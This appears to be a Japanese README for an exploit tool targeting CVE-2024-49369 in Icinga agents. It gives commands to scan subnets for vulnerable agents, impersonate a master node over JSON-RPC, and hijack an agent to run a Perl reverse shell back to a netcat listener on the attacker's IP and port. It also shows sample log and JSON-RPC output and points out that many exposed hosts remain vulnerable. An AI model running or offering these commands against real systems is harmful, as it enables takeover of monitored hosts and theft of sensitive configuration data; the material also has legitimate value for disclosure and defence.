
CVE-2024-49369(Icinga)向けのエクスプロイトツール。サブネットスキャン、JSON-RPC偽装によるエージェント乗っ取り、任意コマンド実行、リバースシェルを可能にします。
この脆弱性は、Icinga JSON-RPCプロトコルを利用して、Icingaエージェントを実行する監視対象ノードを悪用します。Master/Satelliteインスタンスになりすますことで、攻撃者はエージェントを乗っ取り、任意のコマンドを実行したり、機密情報を取得したりする可能性があります。
脆弱なエージェントをサブネット内でスキャンするには、次のコマンドを実行します。
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
指定されたサブネットを25 IP単位のバッチでスキャンします。このツールはJSON-RPCプロトコルを介してIcinga::HELLOメッセージを送信し、応答するエージェントとそのバージョンを特定します。
エンドポイントで設定とコマンド実行が有効になっている場合(Icingaエージェントを使用する監視対象ノードのデフォルト設定)、攻撃者は以下のことが可能です。
これにより、システム全体が侵害される可能性があります(サービスユーザーに依存)が、アクセスが制限される場合もあります。
親ノードがまだ接続されている場合、エクスプロイト接続はログに次のように表示されます。
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
クラスタに関する警告がトリガーされているため、このノードが攻撃に対して脆弱であることがわかります。つまり、現在のサテライトはまだ接続されていますが、このエージェントは私たちを有効な親と見なしています。
リバースシェル用のNetcatリスナーを起動します。
nc -lvnp 9001
エクスプロイトを実行します。
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host:ターゲットエージェントのIPアドレス。--node-cn:なりすますMaster/Satelliteのコモンネーム。--zone:ターゲットゾーン名。デフォルトはmaster。--revip:リバースシェル用の攻撃者のIPアドレス。--revport:リバースシェル用の攻撃者のポート。このコマンドは接続試行を繰り返します。ターゲットエージェントが現在の親から切断されると、ツールが引き継ぎ、チェックを送受信します。
Perlベースのリバースシェルが、ツールによって作成された新しいチェックの一部として使用されます。
ターゲットで設定とコマンド実行が無効になっていても、攻撃者はエージェントに送信されたチェックの結果を観察することで、機密データを入手できる可能性があります。
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
これらの応答には、機密性の高い設定、スケジュールデータ、さらには監視サービスの結果が含まれる可能性があります。
Censys上では現在、公開されているIcingaポートを持つホストが24,003あります。スポットチェックの結果、ほとんどのホストが依然として脆弱なバージョンのIcingaを実行していることが示されています。
この研究は、Icingaのブログで議論された研究に基づいています。